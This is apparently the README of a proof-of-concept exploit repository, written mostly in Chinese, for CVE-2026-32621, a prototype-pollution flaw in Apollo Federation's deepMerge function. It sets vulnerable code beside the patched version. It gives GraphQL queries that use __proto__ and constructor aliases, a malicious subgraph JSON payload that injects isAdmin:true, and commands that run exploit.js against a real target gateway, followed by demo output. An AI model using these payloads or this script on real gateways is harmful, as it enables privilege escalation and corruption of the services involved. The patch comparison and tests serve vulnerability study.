| 字段 | 值 |
|---|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 严重 |
| CWE | CWE-1321(原型污染) |
| 受影响版本 | Apollo Federation < 2.9.6、< 2.10.5、< 2.11.6、< 2.12.3、< 2.13.2 |
| 已修复版本 | 2.9.6、2.10.5、2.11.6、2.12.3、2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
Apollo Federation 的 deepMerge 函数(在 @apollo/query-planner 和 @apollo/gateway 中用于在查询计划执行期间合并子图响应)在访问 target[key] 之前未对键进行过滤。
当源对象将 __proto__ 作为自有属性(由 JSON.parse 生成)时,Object.keys() 会返回该键,而 target["__proto__"] 会通过原型链解析为 Object.prototype。随后合并操作将属性直接写入 Object.prototype,从而污染整个 Node.js 进程的全局原型链。
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
客户端发送包含名为 __proto__、constructor 或 prototype 字段别名的 GraphQL 查询。当网关处理响应时,deepMerge 将这些别名用作键,从而污染 Object.prototype。
query {
__proto__: products {
polluted: id
}
}
被入侵的子图返回包含 __proto__ 键的 JSON。当网关通过 deepMerge 合并响应时,Object.prototype 被污染。
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin、role、permissions 属性toString、valueOf
文档 内容 USAGE.md 详细的使用指南,包含分步说明 DIAGRAM.md 结构关系图与攻击流程可视化
| 文件 | 用途 |
|------|---------| |
exploit.js| 主漏洞利用脚本,包含 5 种攻击向量 + 本地演示 | |test_exploit.js| 单元测试(15 项测试,验证污染与修复) | |e2e_test.js| 端到端验证(10 项测试:网关 + 漏洞利用 + 验证) | |setup_vulnerable.js| 用于测试的易受攻击网关模拟器 |
# Run the local deepMerge vulnerability demonstration
node exploit.js
该命令无需运行网关即可演示确切的可利用代码路径。
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000
# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
# Unit tests (15 tests)
node test_exploit.js
# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
完整的架构图请参阅 DIAGRAM.md。
__proto__、constructor、prototype 的 GraphQL 操作MIT